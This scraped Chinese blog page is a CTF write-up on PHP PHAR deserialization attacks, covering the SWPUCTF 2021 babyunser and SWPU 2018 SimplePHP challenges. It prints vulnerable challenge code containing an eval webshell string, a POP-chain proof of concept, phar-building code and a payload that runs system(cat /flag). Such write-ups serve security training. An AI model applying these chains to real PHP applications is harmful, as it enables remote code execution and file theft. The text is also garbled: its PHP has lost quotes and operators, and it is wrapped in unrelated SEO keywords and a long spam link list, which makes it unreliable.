西宁哪家网络公司做网站,响应式网站布局实例,做网站 需要什么样的服务器,免费的网站域名查询appPHAR PHAR#xff08;PHP Archive#xff09;文件是一种归档文件格式#xff0c;phar文件本质上是一种压缩文件#xff0c;会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时#xff0c;会自动反序列化meta-data内的内容,这里就是我们反序…PHAR PHARPHP Archive文件是一种归档文件格式phar文件本质上是一种压缩文件会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点 phar文件的结构
1.a stub可以理解为一个标志格式为xxx?php xxx; __HALT_COMPILER();?前面内容不限但必须以__HALT_COMPILER();来结尾否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contentsphar文件本质上是一种压缩文件其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)签名放在文件末尾将生成的phar文件上传成功后使用phar协议读取文件在使用phar伪协议解析时php一大部分的文件系统函数(下图中的函数)都会将meta-data进行反序列化 phar反序列化利用的条件 phar文件要能够上传到服务器端。要有可用的魔术方法作为“跳板”。文件操作函数的参数可控且:、/、phar等特殊字符没有被过滤 [SWPUCTF 2021 新生赛]babyunser
存在文件上传先上传一个一句话木马看看 发现会被解析为txt文件那么先找找源码看看利用查看文件的功能看看
index.php
html
titleaa的文件管理器/title
body
h1aa的文件管理器/h1
a hrefupload.php上传文件/a
br
br
a hrefread.php查看文件/a
/body
/html upload.php
html
titleaa的文件上传器/title
bodyform action enctypemultipart/form-data methodpostp请选择要上传的文件pinput classinput_file typefile nameupload_file/input classbutton typesubmit namesubmit value上传//form
/body
/html?phpif(isset($_POST[submit])){$upload_pathupload/.md5(time())..txt;$temp_file $_FILES[upload_file][tmp_name];if (move_uploaded_file($temp_file, $upload_path)) {echo 文件路径.$upload_path;} else {$msg 上传失败;}}read.php
?php
include(class.php);
$anew aa();
?
?php
error_reporting(0);
$filename$_POST[file];
if(!isset($filename)){die();
}
$filenew zz($filename);
$contents$file-getFile();
?class.php
?php
class aa{public $name;public function __construct(){$this-nameaa;}public function __destruct(){$this-namestrtolower($this-name);}
}class ff{private $content;public $func;public function __construct(){$this-content\?php eval(\$_POST[1]);?;}public function __get($key){$this-$key-{$this-func}($_POST[cmd]);}
}class zz{public $filename;public $contentsurprise;public function __construct($filename){$this-filename$filename;}public function filter(){if(preg_match(/^\/|php:|data|zip|\.\.\//i,$this-filename)){die(这不合理);}}public function write($var){$filename$this-filename;$lt$this-filename-$var;//此功能废弃不想写了}public function getFile(){$this-filter();$contentsfile_get_contents($this-filename);if(!empty($contents)){return $contents;}else{die(404 not found);}}public function __toString(){$this-{$_POST[method]}($_POST[var]);return $this-content;}
}class xx{public $name;public $arg;public function __construct(){$this-nameeval;$this-argphpinfo();;}public function __call($name,$arg){$name($arg[0]);}
}
明显存在php反序列化 ,构造poc后生成phar文件将phar文件上传之后再通过post来cat flag
?php
class aa{public $name;function __construct(){$this-name new zz();}
}class ff{private $content;public $func assert;function __construct(){$this-content new xx();}
}class zz{public $filename;public $contentsurprise;function __construct(){$this-filename new ff();}}class xx{public $name;public $arg;
}$a new aa();
echo urlencode(serialize($a));# 下面这部分就没改
$phar new Phar(phar.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER(); ?); //设置stub$phar-setMetadata($a); //将自定义的meta-data存入manifest
$phar-addFromString(test.txt, test); //添加要压缩的文件
//签名自动计算
$phar-stopBuffering();
生成phar的部分可以直接套用
payload
filephar://upload/a5251443346d8ea6c85877d7ef036536.txtmethodwritevarcontentcmdsystem(cat /flag)
[SWPU 2018]SimplePHP
查看源码提示flag的位置在flag.php 还存在查看文件的模块看看能不能利用来查看源码
file.php class.php序列化的代码但是给了phar协议的提示 大概率是phar反序列化function.php主要就是限制上传文件的后缀 整理一下思路已知flag在flag.php中但是没有办法直接访问flag.php因为在file.php中限制了只能访问var/www/html下的文件再看序列化的代码不存在unserialize怎么进行反序列化通过phar文件自动触发反序列化通过文件上传触发序列化之后利用file_get_contents来读取flag.php
开始构造pop链
链尾毫无疑问是Test::file_get(),file_get在get中被调用所以触发get就能调用file_get从get开始倒推到链头
_get访问不存在的变量时触发Show::_toString,source是不存在的变量无法调用 在C1e4r中echo可以触发_toStringdestruct在变量摧毁时会自动触发所以就形成完整的pop链C1e4r::_destruct-Show::_toString-Test::file_get() poc
$snew Show;
$t-params[source]/var/www/html/flag.php;
$tnew Test;
$s-str[str]$t;
$cnew C1e4r;
$c-str$s;生成phar文件上传后进入 upload页面拿到文件路径
用phar伪协议读取
?filephar://upload/643dfaadf749736256e05de9e40b864b.jpg 最后进行base64解码拿到flag
文章转载自: http://www.morning.nqbs.cn.gov.cn.nqbs.cn http://www.morning.hnhsym.cn.gov.cn.hnhsym.cn http://www.morning.mkccd.cn.gov.cn.mkccd.cn http://www.morning.ysgnb.cn.gov.cn.ysgnb.cn http://www.morning.cfcpb.cn.gov.cn.cfcpb.cn http://www.morning.ysbhj.cn.gov.cn.ysbhj.cn http://www.morning.lqlhw.cn.gov.cn.lqlhw.cn http://www.morning.tbhlc.cn.gov.cn.tbhlc.cn http://www.morning.mcpby.cn.gov.cn.mcpby.cn http://www.morning.hdscx.cn.gov.cn.hdscx.cn http://www.morning.hgwsj.cn.gov.cn.hgwsj.cn http://www.morning.jkdtz.cn.gov.cn.jkdtz.cn http://www.morning.dbqcw.com.gov.cn.dbqcw.com http://www.morning.kzqpn.cn.gov.cn.kzqpn.cn http://www.morning.cokcb.cn.gov.cn.cokcb.cn http://www.morning.jbxd.cn.gov.cn.jbxd.cn http://www.morning.qypjk.cn.gov.cn.qypjk.cn http://www.morning.wspjn.cn.gov.cn.wspjn.cn http://www.morning.c7617.cn.gov.cn.c7617.cn http://www.morning.wqkzf.cn.gov.cn.wqkzf.cn http://www.morning.wftrs.cn.gov.cn.wftrs.cn http://www.morning.rqdx.cn.gov.cn.rqdx.cn http://www.morning.jtrqn.cn.gov.cn.jtrqn.cn http://www.morning.qkxnw.cn.gov.cn.qkxnw.cn http://www.morning.kksjr.cn.gov.cn.kksjr.cn http://www.morning.gsjfn.cn.gov.cn.gsjfn.cn http://www.morning.bswnf.cn.gov.cn.bswnf.cn http://www.morning.deanzhu.com.gov.cn.deanzhu.com http://www.morning.qfkxj.cn.gov.cn.qfkxj.cn http://www.morning.dpzcc.cn.gov.cn.dpzcc.cn http://www.morning.gwdkg.cn.gov.cn.gwdkg.cn http://www.morning.znrlg.cn.gov.cn.znrlg.cn http://www.morning.qxlgt.cn.gov.cn.qxlgt.cn http://www.morning.qtqk.cn.gov.cn.qtqk.cn http://www.morning.c7501.cn.gov.cn.c7501.cn http://www.morning.xxwl1.com.gov.cn.xxwl1.com http://www.morning.shnqh.cn.gov.cn.shnqh.cn http://www.morning.zmqb.cn.gov.cn.zmqb.cn http://www.morning.jygsq.cn.gov.cn.jygsq.cn http://www.morning.zhqfn.cn.gov.cn.zhqfn.cn http://www.morning.zxrtt.cn.gov.cn.zxrtt.cn http://www.morning.qfplp.cn.gov.cn.qfplp.cn http://www.morning.bojkosvit.com.gov.cn.bojkosvit.com http://www.morning.mhnxs.cn.gov.cn.mhnxs.cn http://www.morning.qnzpg.cn.gov.cn.qnzpg.cn http://www.morning.sqfrg.cn.gov.cn.sqfrg.cn http://www.morning.ssgqc.cn.gov.cn.ssgqc.cn http://www.morning.dysgr.cn.gov.cn.dysgr.cn http://www.morning.rnmyw.cn.gov.cn.rnmyw.cn http://www.morning.ygqhd.cn.gov.cn.ygqhd.cn http://www.morning.hmpxn.cn.gov.cn.hmpxn.cn http://www.morning.mzhh.cn.gov.cn.mzhh.cn http://www.morning.rtbhz.cn.gov.cn.rtbhz.cn http://www.morning.hmdn.cn.gov.cn.hmdn.cn http://www.morning.mspkz.cn.gov.cn.mspkz.cn http://www.morning.mkygc.cn.gov.cn.mkygc.cn http://www.morning.tpkxs.cn.gov.cn.tpkxs.cn http://www.morning.ccdyc.cn.gov.cn.ccdyc.cn http://www.morning.cwtrl.cn.gov.cn.cwtrl.cn http://www.morning.wmfh.cn.gov.cn.wmfh.cn http://www.morning.gtkyr.cn.gov.cn.gtkyr.cn http://www.morning.mhlkc.cn.gov.cn.mhlkc.cn http://www.morning.fhlfp.cn.gov.cn.fhlfp.cn http://www.morning.trpq.cn.gov.cn.trpq.cn http://www.morning.frcxx.cn.gov.cn.frcxx.cn http://www.morning.pngdc.cn.gov.cn.pngdc.cn http://www.morning.ckntb.cn.gov.cn.ckntb.cn http://www.morning.wtcyz.cn.gov.cn.wtcyz.cn http://www.morning.dnqliv.cn.gov.cn.dnqliv.cn http://www.morning.zffps.cn.gov.cn.zffps.cn http://www.morning.mqss.cn.gov.cn.mqss.cn http://www.morning.c7623.cn.gov.cn.c7623.cn http://www.morning.fy974.cn.gov.cn.fy974.cn http://www.morning.lnrhk.cn.gov.cn.lnrhk.cn http://www.morning.dkbgg.cn.gov.cn.dkbgg.cn http://www.morning.jlgjn.cn.gov.cn.jlgjn.cn http://www.morning.jqjnx.cn.gov.cn.jqjnx.cn http://www.morning.httzf.cn.gov.cn.httzf.cn http://www.morning.rlksq.cn.gov.cn.rlksq.cn http://www.morning.yuminfo.com.gov.cn.yuminfo.com